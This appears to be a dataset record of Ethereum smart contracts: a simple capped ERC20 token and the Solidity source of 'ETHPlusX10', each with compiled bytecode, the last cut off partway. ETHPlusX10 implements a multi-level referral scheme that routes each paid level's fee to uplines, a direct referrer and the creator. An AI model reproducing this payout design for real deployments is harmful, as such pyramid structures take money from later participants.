address from,
address to,
uint256 amount
) internal virtual {}
/**
* Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
contract DWNToken is ERC20 {
address public Admin;
uint256 private immutable _cap;
constructor() ERC20('Decentralized Wireless Network', 'DWN') {
_mint(msg.sender, 500000000 *10 ** 18);
Admin = msg.sender;
_cap = 500000000 * 10 ** 18;
}
function mint(address to, uint amount) external {
require(msg.sender == Admin, "Admin Function Only");
require(ERC20.totalSupply() + amount <= cap(), "ERC20Capped: cap exceeded");
_mint(to, amount);
}
function cap() public view virtual returns (uint256) {
return _cap;
}
function burn(uint amount) external{
require(msg.sender == Admin, "Admin Function Only");
_burn(msg.sender, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806340c10f1911610097578063a457c2d711610066578063a457c2d714610288578063a9059cbb146102b8578063dd62ed3e146102e8578063ff1b636d14610318576100f5565b806340c10f191461020257806342966c681461021e57806370a082311461023a57806395d89b411461026a576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce56714610196578063355274ea146101b457806339509351146101d2576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610336565b60405161010f9190611527565b60405180910390f35b610132600480360381019061012d919061126b565b6103c8565b60405161013f919061150c565b60405180910390f35b6101506103e6565b60405161015d91906116c9565b60405180910390f35b610180600480360381019061017b9190611218565b6103f0565b60405161018d919061150c565b60405180910390f35b61019e6104e8565b6040516101ab91906116e4565b60405180910390f35b6101bc6104f1565b6040516101c991906116c9565b60405180910390f35b6101ec60048036038101906101e7919061126b565b610519565b6040516101f9919061150c565b60405180910390f35b61021c6004803603810190610217919061126b565b6105c5565b005b610238600480360381019061023391906112ab565b6106bf565b005b610254600480360381019061024f91906111ab565b61075c565b60405161026191906116c9565b60405180910390f35b6102726107a4565b60405161027f9190611527565b60405180910390f35b6102a2600480360381019061029d919061126b565b610836565b6040516102af919061150c565b60405180910390f35b6102d260048036038101906102cd919061126b565b610921565b6040516102df919061150c565b60405180910390f35b61030260048036038101906102fd91906111d8565b61093f565b60405161030f91906116c9565b60405180910390f35b6103206109c6565b60405161032d91906114f1565b60405180910390f35b6060600380546103459061182d565b80601f01602080910402602001604051908101604052809291908181526020018280546103719061182d565b80156103be5780601f10610393576101008083540402835291602001916103be565b820191906000526020600020905b8154815290600101906020018083116103a157829003601f168201915b5050505050905090565b60006103dc6103d56109ec565b84846109f4565b6001905092915050565b6000600254905090565b60006103fd848484610bbf565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104486109ec565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156104c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104bf906115e9565b60405180910390fd5b6104dc856104d46109ec565b8584036109f4565b60019150509392505050565b60006012905090565b60007f0000000000000000000000000000000000000000019d971e4fe8401e74000000905090565b60006105bb6105266109ec565b8484600160006105346109ec565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105b6919061171b565b6109f4565b6001905092915050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610655576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161064c906115a9565b60405180910390fd5b61065d6104f1565b816106666103e6565b610670919061171b565b11156106b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106a890611649565b60405180910390fd5b6106bb8282610e40565b5050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461074f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610746906115a9565b60405180910390fd5b6107593382610fa0565b50565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6060600480546107b39061182d565b80601f01602080910402602001604051908101604052809291908181526020018280546107df9061182d565b801561082c5780601f106108015761010080835404028352916020019161082c565b820191906000526020600020905b81548152906001019060200180831161080f57829003601f168201915b5050505050905090565b600080600160006108456109ec565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610902576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108f990611689565b60405180910390fd5b61091661090d6109ec565b858584036109f4565b600191505092915050565b600061093561092e6109ec565b8484610bbf565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610a64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a5b90611669565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ad4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610acb90611589565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610bb291906116c9565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610c2f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2690611629565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610c9f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c9690611549565b60405180910390fd5b610caa838383611177565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610d30576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d27906115c9565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610dc3919061171b565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610e2791906116c9565b60405180910390a3610e3a84848461117c565b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610eb0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea7906116a9565b60405180910390fd5b610ebc60008383611177565b8060026000828254610ece919061171b565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f23919061171b565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610f8891906116c9565b60405180910390a3610f9c6000838361117c565b5050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611010576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161100790611609565b60405180910390fd5b61101c82600083611177565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156110a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109990611569565b60405180910390fd5b8181036000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008282546110f99190611771565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161115e91906116c9565b60405180910390a36111728360008461117c565b505050565b505050565b505050565b60008135905061119081611c15565b92915050565b6000813590506111a581611c2c565b92915050565b6000602082840312156111c1576111c06118bd565b5b60006111cf84828501611181565b91505092915050565b600080604083850312156111ef576111ee6118bd565b5b60006111fd85828601611181565b925050602061120e85828601611181565b9150509250929050565b600080600060608486031215611231576112306118bd565b5b600061123f86828701611181565b935050602061125086828701611181565b925050604061126186828701611196565b9150509250925092565b60008060408385031215611282576112816118bd565b5b600061129085828601611181565b92505060206112a185828601611196565b9150509250929050565b6000602082840312156112c1576112c06118bd565b5b60006112cf84828501611196565b91505092915050565b6112e1816117a5565b82525050565b6112f0816117b7565b82525050565b6000611301826116ff565b61130b818561170a565b935061131b8185602086016117fa565b611324816118c2565b840191505092915050565b600061133c60238361170a565b9150611347826118d3565b604082019050919050565b600061135f60228361170a565b915061136a82611922565b604082019050919050565b600061138260228361170a565b915061138d82611971565b604082019050919050565b60006113a560138361170a565b91506113b0826119c0565b602082019050919050565b60006113c860268361170a565b91506113d3826119e9565b604082019050919050565b60006113eb60288361170a565b91506113f682611a38565b604082019050919050565b600061140e60218361170a565b915061141982611a87565b604082019050919050565b600061143160258361170a565b915061143c82611ad6565b604082019050919050565b600061145460198361170a565b915061145f82611b25565b602082019050919050565b600061147760248361170a565b915061148282611b4e565b604082019050919050565b600061149a60258361170a565b91506114a582611b9d565b604082019050919050565b60006114bd601f8361170a565b91506114c882611bec565b602082019050919050565b6114dc816117e3565b82525050565b6114eb816117ed565b82525050565b600060208201905061150660008301846112d8565b92915050565b600060208201905061152160008301846112e7565b92915050565b6000602082019050818103600083015261154181846112f6565b905092915050565b600060208201905081810360008301526115628161132f565b9050919050565b6000602082019050818103600083015261158281611352565b9050919050565b600060208201905081810360008301526115a281611375565b9050919050565b600060208201905081810360008301526115c281611398565b9050919050565b600060208201905081810360008301526115e2816113bb565b9050919050565b60006020820190508181036000830152611602816113de565b9050919050565b6000602082019050818103600083015261162281611401565b9050919050565b6000602082019050818103600083015261164281611424565b9050919050565b6000602082019050818103600083015261166281611447565b9050919050565b600060208201905081810360008301526116828161146a565b9050919050565b600060208201905081810360008301526116a28161148d565b9050919050565b600060208201905081810360008301526116c2816114b0565b9050919050565b60006020820190506116de60008301846114d3565b92915050565b60006020820190506116f960008301846114e2565b92915050565b600081519050919050565b600082825260208201905092915050565b6000611726826117e3565b9150611731836117e3565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156117665761176561185f565b5b828201905092915050565b600061177c826117e3565b9150611787836117e3565b92508282101561179a5761179961185f565b5b828203905092915050565b60006117b0826117c3565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156118185780820151818401526020810190506117fd565b83811115611827576000848401525b50505050565b6000600282049050600182168061184557607f821691505b602082108114156118595761185861188e565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f41646d696e2046756e6374696f6e204f6e6c7900000000000000000000000000600082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332304361707065643a2063617020657863656564656400000000000000600082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b611c1e816117a5565b8114611c2957600080fd5b50565b611c35816117e3565b8114611c4057600080fd5b5056fea2646970667358221220dc4361ac41a1b359b605df10ba24ad6c9d3b0cc7d25609326a8c6f16a42ffcdb64736f6c63430008070033
|
{"success": true, "error": null, "results": {}}
| 9,396 |
0xfdf2d187384e0471f6a8b5a9c10e3d89e5cbbf0b
|
pragma solidity >=0.6.3 <0.7.0;
contract ETHPlusX10 {
address public creator;
uint256 MAX_LEVEL = 9;
uint256 REFERRALS_LIMIT = 2;
uint256 LEVEL_EXPIRE_TIME = 30 days;
uint256 LEVEL_HIGHER_FOUR_EXPIRE_TIME = 10000 days;
mapping(address => User) public users;
mapping(uint256 => address) public userAddresses;
uint256 public last_uid;
mapping(uint256 => uint256) public feePrice;
mapping(uint256 => uint256) public directPrice;
mapping(uint256 => uint256) public levelPrice;
mapping(uint256 => uint256) public uplinesToRcvEth;
mapping(address => ProfitsRcvd) public rcvdProfits;
mapping(address => ProfitsGiven) public givenProfits;
mapping(address => LostProfits) public lostProfits;
struct User {
uint256 id;
uint256 referrerID;
address[] referrals;
mapping(uint256 => uint256) levelExpiresAt;
}
struct ProfitsRcvd {
uint256 uid;
uint256[] fromId;
address[] fromAddr;
uint256[] amount;
}
struct LostProfits {
uint256 uid;
uint256[] toId;
address[] toAddr;
uint256[] amount;
uint256[] level;
}
struct ProfitsGiven {
uint256 uid;
uint256[] toId;
address[] toAddr;
uint256[] amount;
uint256[] level;
uint256[] line;
}
modifier validLevelAmount(uint256 _level) {
require(msg.value == levelPrice[_level], "Invalid level amount sent");
_;
}
modifier userRegistered() {
require(users[msg.sender].id != 0, "User does not exist");
_;
}
modifier validReferrerID(uint256 _referrerID) {
require(
_referrerID > 0 && _referrerID <= last_uid,
"Invalid referrer ID"
);
_;
}
modifier userNotRegistered() {
require(users[msg.sender].id == 0, "User is already registered");
_;
}
modifier validLevel(uint256 _level) {
require(_level > 0 && _level <= MAX_LEVEL, "Invalid level entered");
_;
}
event RegisterUserEvent(
address indexed user,
address indexed referrer,
uint256 time
);
event BuyLevelEvent(
address indexed user,
uint256 indexed level,
uint256 time
);
event GetLevelProfitEvent(
address indexed user,
address indexed referral,
uint256 indexed level,
uint256 time
);
event LostLevelProfitEvent(
address indexed user,
address indexed referral,
uint256 indexed level,
uint256 time
);
constructor() public {
last_uid++;
creator = msg.sender;
levelPrice[1] = 0.17 ether;
levelPrice[2] = 0.35 ether;
levelPrice[3] = 0.80 ether;
levelPrice[4] = 1.60 ether;
levelPrice[5] = 2.50 ether;
levelPrice[6] = 3.50 ether;
levelPrice[7] = 6.60 ether;
levelPrice[8] = 15.20 ether;
levelPrice[9] = 24.50 ether;
feePrice[1] = 0.03 ether;
feePrice[2] = 0.04 ether;
feePrice[3] = 0.05 ether;
feePrice[4] = 0.06 ether;
feePrice[5] = 0.07 ether;
feePrice[6] = 0.08 ether;
feePrice[7] = 0.09 ether;
feePrice[8] = 0.10 ether;
feePrice[9] = 0.20 ether;
directPrice[1] = 0.04 ether;
directPrice[2] = 0.09 ether;
directPrice[3] = 0.15 ether;
directPrice[4] = 0.24 ether;
directPrice[5] = 0.34 ether;
directPrice[6] = 0.42 ether;
directPrice[7] = 0.51 ether;
directPrice[8] = 0.70 ether;
directPrice[9] = 1.26 ether;
uplinesToRcvEth[1] = 10;
uplinesToRcvEth[2] = 11;
uplinesToRcvEth[3] = 12;
uplinesToRcvEth[4] = 13;
uplinesToRcvEth[5] = 14;
uplinesToRcvEth[6] = 15;
uplinesToRcvEth[7] = 16;
uplinesToRcvEth[8] = 17;
uplinesToRcvEth[9] = 18;
users[creator] = User({
id: last_uid,
referrerID: 0,
referrals: new address[](0)
});
userAddresses[last_uid] = creator;
for (uint256 i = 1; i <= MAX_LEVEL; i++) {
users[creator].levelExpiresAt[i] = 1 << 37;
}
}
function registerUser(uint256 _referrerID)
public
payable
userNotRegistered()
validReferrerID(_referrerID)
validLevelAmount(1)
{
uint256 _level = 1;
if (
users[userAddresses[_referrerID]].referrals.length >=
REFERRALS_LIMIT
) {
_referrerID = users[findReferrer(userAddresses[_referrerID])].id;
}
last_uid++;
users[msg.sender] = User({
id: last_uid,
referrerID: _referrerID,
referrals: new address[](0)
});
userAddresses[last_uid] = msg.sender;
users[msg.sender].levelExpiresAt[_level] =
now +
getLevelExpireTime(_level);
users[userAddresses[_referrerID]].referrals.push(msg.sender);
transferLevelPayment(_level, msg.sender);
emit RegisterUserEvent(msg.sender, userAddresses[_referrerID], now);
}
function buyLevel(uint256 _level)
public
payable
userRegistered()
validLevel(_level)
validLevelAmount(_level)
{
for (uint256 l = _level - 1; l > 0; l--) {
require(
getUserLevelExpiresAt(msg.sender, l) >= now,
"Buy previous level first"
);
}
if (getUserLevelExpiresAt(msg.sender, _level) == 0) {
users[msg.sender].levelExpiresAt[_level] =
now +
getLevelExpireTime(_level);
} else {
users[msg.sender].levelExpiresAt[_level] += getLevelExpireTime(
_level
);
}
transferLevelPayment(_level, msg.sender);
emit BuyLevelEvent(msg.sender, _level, now);
}
function getLevelExpireTime(uint256 _level) public view returns (uint256) {
if (_level < 5) {
return LEVEL_EXPIRE_TIME;
} else {
return LEVEL_HIGHER_FOUR_EXPIRE_TIME;
}
}
function findReferrer(address _user) public view returns (address) {
if (users[_user].referrals.length < REFERRALS_LIMIT) {
return _user;
}
address[1632] memory referrals;
referrals[0] = users[_user].referrals[0];
referrals[1] = users[_user].referrals[1];
address referrer;
for (uint256 i = 0; i < 16382; i++) {
if (users[referrals[i]].referrals.length < REFERRALS_LIMIT) {
referrer = referrals[i];
break;
}
if (i >= 8191) {
continue;
}
referrals[(i + 1) * 2] = users[referrals[i]].referrals[0];
referrals[(i + 1) * 2 + 1] = users[referrals[i]].referrals[1];
}
require(referrer != address(0), "Referrer not found");
return referrer;
}
function transferLevelPayment(uint256 _level, address _user) internal {
uint256 height = _level;
address referrer = getUserUpline(_user, height);
if (referrer == address(0)) {
referrer = creator;
}
uint256 uplines = uplinesToRcvEth[_level];
bool chkLostProfit = false;
address lostAddr;
uint256 eth = msg.value;
for (uint256 i = 1; i <= uplines; i++) {
referrer = getUserUpline(_user, i);
if (chkLostProfit) {
lostProfits[lostAddr].uid = users[referrer].id;
lostProfits[lostAddr].toId.push(users[referrer].id);
lostProfits[lostAddr].toAddr.push(referrer);
lostProfits[lostAddr].amount.push(
(msg.value - feePrice[_level] - directPrice[_level])/ uplinesToRcvEth[_level]
);
lostProfits[lostAddr].level.push(getUserLevel(referrer));
chkLostProfit = false;
emit LostLevelProfitEvent(referrer, msg.sender, _level, 0);
}
if (
referrer != address(0) &&
(users[_user].levelExpiresAt[_level] == 0 ||
getUserLevelExpiresAt(referrer, _level) < now)
) {
chkLostProfit = true;
uplines++;
lostAddr = referrer;
continue;
} else {
chkLostProfit = false;
}
if (referrer == address(0)) {
referrer = creator;
}
if (
address(uint160(referrer)).send(
(msg.value - feePrice[_level] - directPrice[_level])/ uplinesToRcvEth[_level]
)
) {
eth = eth - ((msg.value - feePrice[_level] - directPrice[_level])/ uplinesToRcvEth[_level]);
rcvdProfits[referrer].uid = users[referrer].id;
rcvdProfits[referrer].fromId.push(users[msg.sender].id);
rcvdProfits[referrer].fromAddr.push(msg.sender);
rcvdProfits[referrer].amount.push(
(levelPrice[_level] - feePrice[_level] - directPrice[_level])/ uplinesToRcvEth[_level]
);
givenProfits[msg.sender].uid = users[msg.sender].id;
givenProfits[msg.sender].toId.push(users[referrer].id);
givenProfits[msg.sender].toAddr.push(referrer);
givenProfits[msg.sender].amount.push(
(levelPrice[_level] - feePrice[_level] - directPrice[_level]) / uplinesToRcvEth[_level]
);
givenProfits[msg.sender].level.push(getUserLevel(referrer));
givenProfits[msg.sender].line.push(i);
emit GetLevelProfitEvent(referrer, msg.sender, _level, now);
}
}
address directRefer = userAddresses[users[msg.sender].referrerID];
if (
address(uint160(directRefer)).send(
directPrice[_level]
)
) {
eth = eth - directPrice[_level];
rcvdProfits[referrer].uid = users[directRefer].id;
rcvdProfits[referrer].fromId.push(users[msg.sender].id);
rcvdProfits[referrer].fromAddr.push(msg.sender);
rcvdProfits[referrer].amount.push(
directPrice[_level]
);
givenProfits[msg.sender].uid = users[msg.sender].id;
givenProfits[msg.sender].toId.push(users[directRefer].id);
givenProfits[msg.sender].toAddr.push(directRefer);
givenProfits[msg.sender].amount.push(
directPrice[_level]
);
givenProfits[msg.sender].level.push(getUserLevel(directRefer));
givenProfits[msg.sender].line.push(1);
emit GetLevelProfitEvent(directRefer, msg.sender, _level, now);
}
if(address(uint160(creator)).send(eth)){
emit GetLevelProfitEvent(creator, msg.sender, _level, now);
}
}
function getUserUpline(address _user, uint256 height)
public
view
returns (address)
{
if (height <= 0 || _user == address(0)) {
return _user;
}
return
this.getUserUpline(
userAddresses[users[_user].referrerID],
height - 1
);
}
function getUserReferrals(address _user)
public
view
returns (address[] memory)
{
return users[_user].referrals;
}
function getUserProfitsFromId(address _user)
public
view
returns (uint256[] memory)
{
return rcvdProfits[_user].fromId;
}
function getUserProfitsFromAddr(address _user)
public
view
returns (address[] memory)
{
return rcvdProfits[_user].fromAddr;
}
function getUserProfitsAmount(address _user)
public
view
returns (uint256[] memory)
{
return rcvdProfits[_user].amount;
}
function getUserProfitsGivenToId(address _user)
public
view
returns (uint256[] memory)
{
return givenProfits[_user].toId;
}
function getUserProfitsGivenToAddr(address _user)
public
view
returns (address[] memory)
{
return givenProfits[_user].toAddr;
}
function getUserProfitsGivenToAmount(address _user)
public
view
returns (uint256[] memory)
{
return givenProfits[_user].amount;
}
function getUserProfitsGivenToLevel(address _user)
public
view
returns (uint256[] memory)
{
return givenProfits[_user].level;
}
function getUserProfitsGivenToLine(address _user)
public
view
returns (uint256[] memory)
{
return givenProfits[_user].line;
}
function getUserLostsToId(address _user)
public
view
returns (uint256[] memory)
{
return (lostProfits[_user].toId);
}
function getUserLostsToAddr(address _user)
public
view
returns (address[] memory)
{
return (lostProfits[_user].toAddr);
}
function getUserLostsAmount(address _user)
public
view
returns (uint256[] memory)
{
return (lostProfits[_user].amount);
}
function getUserLostsLevel(address _user)
public
view
returns (uint256[] memory)
{
return (lostProfits[_user].level);
}
function getUserLevelExpiresAt(address _user, uint256 _level)
public
view
returns (uint256)
{
return users[_user].levelExpiresAt[_level];
}
function getUserLevel(address _user) public view returns (uint256) {
if (getUserLevelExpiresAt(_user, 1) < now) {
return (0);
} else if (getUserLevelExpiresAt(_user, 2) < now) {
return (1);
} else if (getUserLevelExpiresAt(_user, 3) < now) {
return (2);
} else if (getUserLevelExpiresAt(_user, 4) < now) {
return (3);
} else if (getUserLevelExpiresAt(_user, 5) < now) {
return (4);
} else if (getUserLevelExpiresAt(_user, 6) < now) {
return (5);
} else if (getUserLevelExpiresAt(_user, 7) < now) {
return (6);
} else if (getUserLevelExpiresAt(_user, 8) < now) {
return (7);
} else if (getUserLevelExpiresAt(_user, 9) < now) {
return (8);
} else if (getUserLevelExpiresAt(_user, 10) < now) {
return (9);
}
}
function getUserDetails(address _user)
public
view
returns (uint256, uint256)
{
if (getUserLevelExpiresAt(_user, 1) < now) {
return (1, users[_user].id);
} else if (getUserLevelExpiresAt(_user, 2) < now) {
return (2, users[_user].id);
} else if (getUserLevelExpiresAt(_user, 3) < now) {
return (3, users[_user].id);
} else if (getUserLevelExpiresAt(_user, 4) < now) {
return (4, users[_user].id);
} else if (getUserLevelExpiresAt(_user, 5) < now) {
return (5, users[_user].id);
} else if (getUserLevelExpiresAt(_user, 6) < now) {
return (6, users[_user].id);
} else if (getUserLevelExpiresAt(_user, 7) < now) {
return (7, users[_user].id);
} else if (getUserLevelExpiresAt(_user, 8) < now) {
return (8, users[_user].id);
} else if (getUserLevelExpiresAt(_user, 9) < now) {
return (9, users[_user].id);
}
}
receive() external payable {
revert();
}
}
|
0x6080604052600436106101e75760003560e01c80639877aa7f11610102578063d0a5313611610095578063df9a838811610064578063df9a838814610fc7578063e69c01711461106d578063eb75f123146110bc578063f6838a7214611121576101f1565b8063d0a5313614610e01578063d1a3f1b414610ea7578063d4a35c6214610ef6578063dade39c914610f9c576101f1565b8063c570388a116100d1578063c570388a14610c1a578063cadecd6914610cab578063cc3d967b14610cfa578063cf40ae2814610d66576101f1565b80639877aa7f14610a13578063a87430ba14610ab9578063aad049b314610b25578063ae78c8f514610b74576101f1565b80634015ba811161017a578063644661811161014957806364466181146107bc57806379d3e0cc146108625780637f5a17e01461090857806397dc67651461096d576101f1565b80634015ba8114610586578063502c9bd51461062c57806352e70b35146106a7578063575cea6b14610716576101f1565b80632ff8430f116101b65780632ff8430f146103865780633539cd06146103d557806339c301531461047b5780633e09c211146104e0576101f1565b806302d05d3f146101f65780631bbfae0e1461024d57806321923bde1461027b5780632ca6a9c4146102e0576101f1565b366101f157600080fd5b600080fd5b34801561020257600080fd5b5061020b61114f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102796004803603602081101561026357600080fd5b8101908080359060200190929190505050611174565b005b34801561028757600080fd5b506102ca6004803603602081101561029e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611749565b6040518082815260200191505060405180910390f35b3480156102ec57600080fd5b5061032f6004803603602081101561030357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061185f565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b83811015610372578082015181840152602081019050610357565b505050509050019250505060405180910390f35b34801561039257600080fd5b506103bf600480360360208110156103a957600080fd5b81019080803590602001909291905050506118f9565b6040518082815260200191505060405180910390f35b3480156103e157600080fd5b50610424600480360360208110156103f857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611911565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561046757808201518184015260208101905061044c565b505050509050019250505060405180910390f35b34801561048757600080fd5b506104ca6004803603602081101561049e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119ab565b6040518082815260200191505060405180910390f35b3480156104ec57600080fd5b5061052f6004803603602081101561050357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119c9565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b83811015610572578082015181840152602081019050610557565b505050509050019250505060405180910390f35b34801561059257600080fd5b506105d5600480360360208110156105a957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a99565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156106185780820151818401526020810190506105fd565b505050509050019250505060405180910390f35b34801561063857600080fd5b506106656004803603602081101561064f57600080fd5b8101908080359060200190929190505050611b69565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106b357600080fd5b50610700600480360360408110156106ca57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611b9c565b6040518082815260200191505060405180910390f35b34801561072257600080fd5b506107656004803603602081101561073957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611bfa565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156107a857808201518184015260208101905061078d565b505050509050019250505060405180910390f35b3480156107c857600080fd5b5061080b600480360360208110156107df57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611cca565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561084e578082015181840152602081019050610833565b505050509050019250505060405180910390f35b34801561086e57600080fd5b506108b16004803603602081101561088557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d64565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156108f45780820151818401526020810190506108d9565b505050509050019250505060405180910390f35b34801561091457600080fd5b506109576004803603602081101561092b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611dfe565b6040518082815260200191505060405180910390f35b34801561097957600080fd5b506109bc6004803603602081101561099057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611e1c565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156109ff5780820151818401526020810190506109e4565b505050509050019250505